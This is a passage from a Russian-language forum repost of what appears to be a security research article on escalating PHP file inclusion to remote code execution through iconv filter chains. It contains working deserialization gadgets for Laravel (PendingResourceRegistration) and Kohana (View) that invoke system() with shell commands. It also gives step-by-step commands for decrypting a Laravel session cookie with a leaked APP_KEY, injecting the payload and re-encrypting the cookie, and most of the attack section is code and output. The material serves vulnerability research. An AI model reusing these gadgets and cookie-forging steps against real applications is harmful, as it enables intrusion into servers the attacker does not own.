        $this->name = "php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|[...]|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp";
        $this->controller = "test.php";
        $this->options = [];
        $this->registered = false;
    }
}

$test= serialize(new PendingResourceRegistration());
echo base64_encode(serialize(new PendingResourceRegistration()));
echo "\n";

Использование новой pop-chain для реального выполнения кода на экземпляре Laravel
Это очень мило, но кажется ситуативным, не так ли? Давайте убьем двух зайцев одним выстрелом и используем эту ошибку в реальном приложении, настроенном на Laravel. Мы ищем примитив десериализации. Мы можем получить его, если будут выполнены следующие предпосылки:

Перехватить значение APP_KEY, содержащееся в файле .env в корне проекта Laravel.

Убедиться, что в конфигурации SESSION_DRIVER установлено значение cookie, то есть сессия пользователя хранится в зашифрованном виде в пользовательском cookie.
Следует отметить, что последний пункт вряд ли будет иметь место в настоящее время, поскольку сессии Laravel теперь по умолчанию хранятся в файлах. Однако для совместимости он все еще доступен, и эту конфигурацию можно использовать на последних версиях Laravel [LARAVEL-SESSION-CONFIG]. Другой CLI для шифрования/дешифрования этого типа куки под названием laravel_cookie_killer был разработан для этой проверки концепции и доступен в следующем репозитории: [GITHUB-SYN-LARAVEL-COOKIE-KILLER]. И снова, не стесняйтесь использовать его и просить о новых возможностях.
Итак, представим, что мы только что слили следующий .env-файл из проекта Laravel:

Код:
APP_NAME=Laravel
APP_ENV=local
APP_KEY=base64:whZhGx+gWV2LEN+ncYxJskxrF/hDVCGc3UdE4vmiF8w=
APP_DEBUG=false
[...]
SESSION_DRIVER=cookie
[...]

Затем можно расшифровать cookie и проверить, хранятся ли в нем сериализованные данные пользователя.
Код:
python3 laravel_cookie_killer.py -d -k whZhGx+gWV2LEN+ncYxJskxrF/hDVCGc3UdE4vmiF8w= -c eyJpdiI6IlgzTjB0UGUwTmQ4VVluSEVRMThKSVE9PSIsInZhbHVlIjoiS1FGZVNvaSticU8yNzVoZ0NVdlpSemN3V05BNWV4VzVHSDA5OXBsUWQ1QjZRMkhSN2E1OTQ1d2dPdm1PaWFxQkVMMXpaZzZjbGFJRXhRRzB3czlLVkdES0NiOTlxcVA1enVMcmNyazROWDZQNXg5dHAxRERkWStRTFVWMS83NmJOd011TEJWeFE3SVYycERPUEMyTmRPMktoand6N3VTMjUvSHVka3pBQ3VuSmk4TkJVSWpTZUt3Zjh4TG1jdjZlY1I2ZmZiSFFqdFBCdHFsS0ltL1hmbVFEYWVIV1RJd05oK3lxRktvaWhLT2lJZGRDMUhzdzliQm5NTnJCREJGbWx4T25VbjY0QUk5b3B1K1lsaDNhMWZFK2g5U3ZsU3JGR1F6c0xHQmJOSWFJYWozbS84RnNWcGt4dHZTSGNwbUVJKzNOR2R6YWJWTEpiNFA3ZDQzcTBYREpNbzdYc1RuWGlQWVNGZnJZckNGcDNpMWxDRlZIRkxuYUpXRkVyYnJva0tQYThIclB3L01mRTR3UmJucEorNGZFNGpOejNCdmhyWE1obml0MWJydXdYdGZ0RWcyWkhMeWcwM3dFbGZLNlNoUlhBVm1vSnNDK3RKb094WHJhRy9Fb2FzRzIzNlgwNVdCdFV3ak1WaGRtdmNNV2N2d3ptVHBabzg2OXQzcWVTQXErTTlqdkpjVkhvVlBYcnk0M1NOZ010ckxHMUtSYS9ML25sQUcrN2F6YUhqMi9tZ0RwZDcrNkN6dzFSUStSRFVYNWpyQlNWTzJVM0wySUFoK3luWVFjakRaaHc3OG5xRTl3YktuUmtzRHRtSy81Ry9pL2hYZkdFekNYSm1KQUtPOXo2ZWdFQ0ZaNmsyemN6TjJ4TWpzSkQxd0VrWnkrS3V6Q3RWSExsRmVjVm1UK0dKbnBub0E4RFB6K2JEU201YUNPUmdkN1hHZ3hDRmlqamdCMnN4RnhxT3lESlhLQTB5aUVmSWJUdytCV3c0bzE1TXpDVU40MUhZN3ArNHM1WDFRUURBQ2s5aGxQam9seElzV3pmWGczaWVIVXNpZDFVK0VBcFhXMllialRoNEFHMU1yTnE0a3FYVjNpWjRBdVZpUk5KdnpaajZkTXFhL00vZnlXUjZBT2JMZDFrbjlmMkU0eGxlMXcra0JvbTFDakhYNWNvTUNuOFBIclZpRnRUZnd5UzdvMEVlUStmSVczWEV5V3QrRGc5OTFGUDZIUDkvU0VnYnlTNy9wa3JJYlIyaU1IMGlUeitMUkJDb0tSa1o3bFlybXFqVUtNWGh3MWFTK21VS2t0Y3ZaZ3NEYzB0R1hRSk9BOUVBQnVyNUpCdnpDSUZ0cGJ6VWVmeU9zYkxqNS9JNDliYk5WN3p0Qmcyc0dKUkxpTDRLRTNxWXI4YS9vNEM2Tkg0bUVOalM5VlNuYmRJdHkra1oxK1Nranh1ZnNzN1lDbW1PZUNHQzJQQ25CbFpDeTNPRXlRdmdzUzNjTnNWdkJLc1lsWWRITHpZM2JUWGhPMmdKQlQvOHdaQ0NkOWtta01Qa2tGTzFMNS9CeUVSeGVTbWNtRVh1VzZCRkJ2THBlUEJ2cSs3WTFsTHhsWjdSVVZKbHdjN29pSC83UzBJZ2RyUkl1cWJ2czd2ZmVOQkZWbDZIVmw1OGUyNFNMTHJVMzJZd0hIcHplbHA1akxuMXRRSG9tZlRYTjFidENJUjZkdXcwb04yRi9lZEVTcVNNa1d6czlESEt5R1dXb0IvSnFWQ2J1d1hiVitFQ1N0cEZHWG0vak5sNlAwMjR1NzVkdDVudlpWNDcwamlrK1hqOE5NSXNXYzRjNmVOeHFNTk0raFlPemUxRXFnZEFTNTRZNFpoMHd5YnpKN0NDbEltc2ttWi9VaHBsbFp3T0x0QUd2UFk3bGg3dm5NQ1VJRm8rVzBwMzZnaDg0RnZZazNkMHMyYmV1cnhFaWMwcE9oRmpxMUJoci9xOGtaK09rVFNuc2swQzhVWjdMbVZlVUhrekJtOHl4TDhGQWV4T29RMVF6Z3h6NkR1S0xHS1NOalFUTUtScUpLajF4VFFGbzRYY3RBNmIvY2luUU9pQVcrK3c4QnZnWkNiWUxPbUFJU2d2MUpRUkt0QlQ0N0VLSkRFMG5zeUNNdkJGaUNvaks2ZnNlL0tXVEYxWmRJeXdyU1lTNHI2VDAzZEVaN0VCc0VYUkI0NWcwVXpPMlE4RE5KTldlV05rejZXMkQxaFRobDZ1SE5EL1lvQzViTGFWa3RlbENnaC9RQmpMVlptMjFFYk40QzNvMHM0MUZoS24zSDF4Q2pEUThjWUhqVHh1cCs2UVAwVXNIYVI5eDRJeGM2eEJ5YXc1NGtJZ1VsYS9QRnFKUk44azh0YWdDUFUwVU1ZQlFQNWFKU0MzNW9iZXpBZnd5QStDeEc4MEVBOStsOWNxY21mdnowVU5jWVRIeXc3elIzdWRMUEtkWUhvdnhOV1ZaNy9haHpYMjNwZ1J1NkhTcytRbHV3djZRMThUU2h2aEJIbmNkbk9yL3VnOFpqdVJIQTFETTRnblh1K0I5c3VncUZ0Q3NrTEF6Z3lQOExUSkdDMEk4Nk94c2tZaGxySVBUYU53N2VxZlRROVJBVFJWNEFtaUNVQ08wQkRpN2ZzWWdYendRbFB6RWNhdkpoaUtPVk44cEF3OWpmRGRIYUQ0N2dScTgxSWlOejl1RGszcnRyUU9DZXZJcXNpR04xQkhPR2gzd013UHhta2NqakZERUQ2UU9PaEh4Mm1YUDFZL3F4RWxtMW9ZNUUxY3pob3hWWGg5dnFDV1RpMkVKU2RidUFCbDZTSlYxdnAvUTMwTmNRak1nYzhhZzJSZElaOUxvM0lZcFJOVmdJaEY1UDJ6Y0NqaFhmY0dzQ2hjWFdLdUFKSUFWYUZIaVBVU1EwTlJnMWtNZ3I3RjF6SzFvNG9IOHU5UEk9IiwibWFjIjoiMjJiODU4ZDA5Mjg4N2VlODI1ZWY2N2VjN2U2ODM2NzkyZGFkZjJkNGJjNzNhMzU3MDlhYTlhZDgzMTg3YTE1OCIsInRhZyI6IiJ9
[*] uncyphered string
2409b529f14153e84a20b432fbe13f9da74dbe3f|{"data":"a:4:{s:6:\"_token\";s:40:\"0o8Mxir9U9BTK3iQqKyq2I01jYOqPeDeEIDTKF9o\";s:4:\"test\";O:15:\"App\\Models\\User\":32:{s:13:\"\u0000*\u0000connection\";N;s:8:\"\u0000*\u0000table\";N;s:13:\"\u0000*\u0000primaryKey\";s:2:\"id\";s:10:\"\u0000*\u0000keyType\";s:3:\"int\";s:12:\"incrementing\";b:1;s:7:\"\u0000*\u0000with\";a:0:{}s:12:\"\u0000*\u0000withCount\";a:0:{}s:19:\"preventsLazyLoading\";b:0;s:10:\"\u0000*\u0000perPage\";i:15;s:6:\"exists\";b:0;s:18:\"wasRecentlyCreated\";b:0;s:28:\"\u0000*\u0000escapeWhenCastingToString\";b:0;s:13:\"\u0000*\u0000attributes\";a:0:{}s:11:\"\u0000*\u0000original\";a:0:{}s:10:\"\u0000*\u0000changes\";a:0:{}s:8:\"\u0000*\u0000casts\";a:1:{s:17:\"email_verified_at\";s:8:\"datetime\";}s:17:\"\u0000*\u0000classCastCache\";a:0:{}s:21:\"\u0000*\u0000attributeCastCache\";a:0:{}s:8:\"\u0000*\u0000dates\";a:0:{}s:13:\"\u0000*\u0000dateFormat\";N;s:10:\"\u0000*\u0000appends\";a:0:{}s:19:\"\u0000*\u0000dispatchesEvents\";a:0:{}s:14:\"\u0000*\u0000observables\";a:0:{}s:12:\"\u0000*\u0000relations\";a:0:{}s:10:\"\u0000*\u0000touches\";a:0:{}s:10:\"timestamps\";b:1;s:9:\"\u0000*\u0000hidden\";a:2:{i:0;s:8:\"password\";i:1;s:14:\"remember_token\";}s:10:\"\u0000*\u0000visible\";a:0:{}s:11:\"\u0000*\u0000fillable\";a:3:{i:0;s:4:\"name\";i:1;s:5:\"email\";i:2;s:8:\"password\";}s:10:\"\u0000*\u0000guarded\";a:1:{i:0;s:1:\"*\";}s:20:\"\u0000*\u0000rememberTokenName\";s:14:\"remember_token\";s:14:\"\u0000*\u0000accessToken\";N;}s:9:\"_previous\";a:1:{s:3:\"url\";s:22:\"http:\/\/localhost.:8000\";}s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}}","expires":1665348091}
[*] Base64 encoded uncyphered version
b'MjQwOWI1MjlmMTQxNTNlODRhMjBiNDMyZmJlMTNmOWRhNzRkYmUzZnx7ImRhdGEiOiJhOjQ6e3M6NjpcIl90b2tlblwiO3M6NDA6XCIwbzhNeGlyOVU5QlRLM2lRcUt5cTJJMDFqWU9xUGVEZUVJRFRLRjlvXCI7czo0OlwidGVzdFwiO086MTU6XCJBcHBcXE1vZGVsc1xcVXNlclwiOjMyOntzOjEzOlwiXHUwMDAwKlx1MDAwMGNvbm5lY3Rpb25cIjtOO3M6ODpcIlx1MDAwMCpcdTAwMDB0YWJsZVwiO047czoxMzpcIlx1MDAwMCpcdTAwMDBwcmltYXJ5S2V5XCI7czoyOlwiaWRcIjtzOjEwOlwiXHUwMDAwKlx1MDAwMGtleVR5cGVcIjtzOjM6XCJpbnRcIjtzOjEyOlwiaW5jcmVtZW50aW5nXCI7YjoxO3M6NzpcIlx1MDAwMCpcdTAwMDB3aXRoXCI7YTowOnt9czoxMjpcIlx1MDAwMCpcdTAwMDB3aXRoQ291bnRcIjthOjA6e31zOjE5OlwicHJldmVudHNMYXp5TG9hZGluZ1wiO2I6MDtzOjEwOlwiXHUwMDAwKlx1MDAwMHBlclBhZ2VcIjtpOjE1O3M6NjpcImV4aXN0c1wiO2I6MDtzOjE4Olwid2FzUmVjZW50bHlDcmVhdGVkXCI7YjowO3M6Mjg6XCJcdTAwMDAqXHUwMDAwZXNjYXBlV2hlbkNhc3RpbmdUb1N0cmluZ1wiO2I6MDtzOjEzOlwiXHUwMDAwKlx1MDAwMGF0dHJpYnV0ZXNcIjthOjA6e31zOjExOlwiXHUwMDAwKlx1MDAwMG9yaWdpbmFsXCI7YTowOnt9czoxMDpcIlx1MDAwMCpcdTAwMDBjaGFuZ2VzXCI7YTowOnt9czo4OlwiXHUwMDAwKlx1MDAwMGNhc3RzXCI7YToxOntzOjE3OlwiZW1haWxfdmVyaWZpZWRfYXRcIjtzOjg6XCJkYXRldGltZVwiO31zOjE3OlwiXHUwMDAwKlx1MDAwMGNsYXNzQ2FzdENhY2hlXCI7YTowOnt9czoyMTpcIlx1MDAwMCpcdTAwMDBhdHRyaWJ1dGVDYXN0Q2FjaGVcIjthOjA6e31zOjg6XCJcdTAwMDAqXHUwMDAwZGF0ZXNcIjthOjA6e31zOjEzOlwiXHUwMDAwKlx1MDAwMGRhdGVGb3JtYXRcIjtOO3M6MTA6XCJcdTAwMDAqXHUwMDAwYXBwZW5kc1wiO2E6MDp7fXM6MTk6XCJcdTAwMDAqXHUwMDAwZGlzcGF0Y2hlc0V2ZW50c1wiO2E6MDp7fXM6MTQ6XCJcdTAwMDAqXHUwMDAwb2JzZXJ2YWJsZXNcIjthOjA6e31zOjEyOlwiXHUwMDAwKlx1MDAwMHJlbGF0aW9uc1wiO2E6MDp7fXM6MTA6XCJcdTAwMDAqXHUwMDAwdG91Y2hlc1wiO2E6MDp7fXM6MTA6XCJ0aW1lc3RhbXBzXCI7YjoxO3M6OTpcIlx1MDAwMCpcdTAwMDBoaWRkZW5cIjthOjI6e2k6MDtzOjg6XCJwYXNzd29yZFwiO2k6MTtzOjE0OlwicmVtZW1iZXJfdG9rZW5cIjt9czoxMDpcIlx1MDAwMCpcdTAwMDB2aXNpYmxlXCI7YTowOnt9czoxMTpcIlx1MDAwMCpcdTAwMDBmaWxsYWJsZVwiO2E6Mzp7aTowO3M6NDpcIm5hbWVcIjtpOjE7czo1OlwiZW1haWxcIjtpOjI7czo4OlwicGFzc3dvcmRcIjt9czoxMDpcIlx1MDAwMCpcdTAwMDBndWFyZGVkXCI7YToxOntpOjA7czoxOlwiKlwiO31zOjIwOlwiXHUwMDAwKlx1MDAwMHJlbWVtYmVyVG9rZW5OYW1lXCI7czoxNDpcInJlbWVtYmVyX3Rva2VuXCI7czoxNDpcIlx1MDAwMCpcdTAwMDBhY2Nlc3NUb2tlblwiO047fXM6OTpcIl9wcmV2aW91c1wiO2E6MTp7czozOlwidXJsXCI7czoyMjpcImh0dHA6XC9cL2xvY2FsaG9zdC46ODAwMFwiO31zOjY6XCJfZmxhc2hcIjthOjI6e3M6MzpcIm9sZFwiO2E6MDp7fXM6MzpcIm5ld1wiO2E6MDp7fX19IiwiZXhwaXJlcyI6MTY2NTM0ODA5MX0DAwM='

Если cookie хранит сериализованные данные, мы можем создать наш гаджет с помощью скрипта laravel_cookie_payload.php:

Код:
php laravel_cookie_payload.php
Tzo0NjoiSWxsd[...]mVnaXN0ZXJlZCI7YjowO30=

Наконец, мы вводим полезную нагрузку и шифруем cookie обратно.
Код:
python3 laravel_cookie_killer.py -e -k whZhGx+gWV2LEN+ncYxJskxrF/hDVCGc3UdE4vmiF8w= --hash 2409b529f14153e84a20b432fbe13f9da74dbe3f -v -v Tzo0NjoiSWxsdW1pbm[...]jowO30=
O:46:\"Illuminate\\Routing\\PendingResourceRegistration\":5:{s:12:\"\u0000*\u0000registrar\";O:37:\"Illuminate\\Routing\\RouteFileRegistrar\":1:{s:9:\"\u0000*\u0000router\";a:2:{i:0;s:6:\"system\";i:1;s:9:\"ls -lisah\";}}s:7:\"\u0000*\u0000name\";s:11613:\"php:\/\/filter\/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|[...]|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode\/resource=php://temp\";s:13:\"\u0000*\u0000controller\";s:8:\"test.php\";s:10:\"\u0000*\u0000options\";a:0:{}s:13:\"\u0000*\u0000registered\";b:0;}
b'eyJpdiI6ICI4cHY5dTNR[...]ICJ0YWciOiAiIn0='

Все, что нужно сделать, - это установить cookie с только что созданным файлом.

cookie_laravel1.png

cookie_laravel2.png



Основным недостатком использования цепочек фильтров PHP является результирующий размер полезной нагрузки (~ 14Ko в предыдущем случае). Действительно, стандартная конфигурация Apache2 допускает только максимум 8Ko данных в заголовках, тем самым предотвращая эксплуатацию. NGINX, однако, более свободен и по умолчанию разрешает 16Ko заголовков. Наконец, мы считаем, что генерируемая полезная нагрузка все еще может быть оптимизирована, поэтому полезная нагрузка в 14Ko в будущем станет меньше.

Другой пример использования: модернизация POP-цепочки включения файлов Kohana до RCE
Было проведено еще одно исследование, чтобы выяснить, можно ли использовать PHP-фильтры в уже существующих цепочках phpggc unserialize.
На данный момент единственная цепочка PHP-гаджетов на phpggc, используемая для получения file include, основана на Kohana, которая является устаревшим PHP-фреймворком, поддерживаемым с 2007 по 2016 год. Поскольку фильтры PHP позволяют получить RCE из include или require, мы немного покопались в этой цепочке ради интереса, надеясь увидеть использование этих функций вместо file_get_contents. Оказалось, что это того стоило, цепочка основана на include! Используя наш новооткрытый трюк с цепочками фильтров, можно было модернизировать гаджет от произвольного включения файла до выполнения кода. Цепочка выглядит следующим образом:

PHP:
<?php

class View
{
    protected $_file;
    protected $_data;

    public function __construct() {
        $this->_data['a'] = "system";
        $this->_data['b'] = "id; ls -lisah";
        //<?=call_user_func($kohana_view_data['a'], $kohana_view_data['b']) ;?\>
        $this->_file = "php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|[...]|convert.base64-decode/resource=php://temp";
    }
}

$view = new View();

echo base64_encode(serialize($view));

Чтобы лучше понять, какие шаги выполняются в цепочке, ниже обобщен поток кода, используемый для получения RCE.

kohana_gadget.png


При обновлении этой цепочки мы увидели соответствующий комментарий. Оказалось, что владелец репозитория @cfreal_ предложил создать тип «include» для цепочек гаджетов, так как из него можно получить выполнение кода, если все необходимые условия выполнены [PHPGGC-КОММЕНТАРИЙ] .

include_chain.png


Из того, что мы видели в этом сообщении в блоге, фильтры PHP должны быть достаточно эффективными, чтобы в большинстве случаев достичь RCE из include/require.

Последнее мнение об эксплуатации PHP-фильтров

Как мы могли видеть в этой статье, PHP-фильтры могут быть действительно мощными, если их использовать в правильном контексте. Их использование увлекательно, так как оно основано на нескольких необычных приемах PHP. Однако важно иметь в виду, что этот тип полезной нагрузки действительно гигантский и не может быть использован в 100% случаев. Ограничение размера заголовка или URL-адреса может быть проблематичным, если полезная нагрузка слишком велика. Это исследование полностью началось из-за исследований цепочек POP. Делать это для использования десериализации — отличный способ понять, как работают многие приемы PHP! Мы считаем, что это идеальный способ быстро приступить к анализу кода, поэтому мы рекомендуем всем попробовать его. Повышение уровня примитива включения файлов до удаленного выполнения кода с использованием трюка с фильтрами PHP было успешно протестировано на версиях PHP 8.1.11, 7.4.30 и 5.6.40.

использованная литература​

[LOKNOP-GIST] https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d
[GYNVAEL-БЛОГПОСТ] https://gynvael.coldwind.pl/?id=671
[LARAVEL-СЕССИЯ-КОНФИГУРАЦИЯ] https://laravel.com/docs/9.x/session#configuration
[WUPCO-GITHUB-REPO] https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT
[HACKTRICKS-LFI2RCE-FILTERS] https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-php-filters#improvements
[RFC-1557] https://www.rfc-editor.org/rfc/rfc1557.html
[RFC-2781] https://www.rfc-editor.org/rfc/rfc2781#section-3.2
[PHP-DOC-WRAPPER-CONVERT-ICONV] https://www.php.net/manual/en/filters.convert.php#filters.convert.iconv
[PHP-DOC-ICONV-FUNC] https://www.php.net/manual/fr/function.iconv.php
[EBCDIC-WIKI] https://en.wikipedia.org/wiki/EBCDIC
[OWASP-POP-цепочка] https://owasp.org/www-community/vulnerabilities/PHP_Object_Injection
[PHPGGC-КОММЕНТАРИЙ] https://github.com/ambionics/phpggc/pull/112
[GITHUB-SYN-PHP-FILTER-GENERATOR] https://github.com/synacktiv/php_filter_chain_generator
[GITHUB-SYN-LARAVEL-COOKIE-KILLER] https://github.com/synacktiv/laravel_cookie_killer
 
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх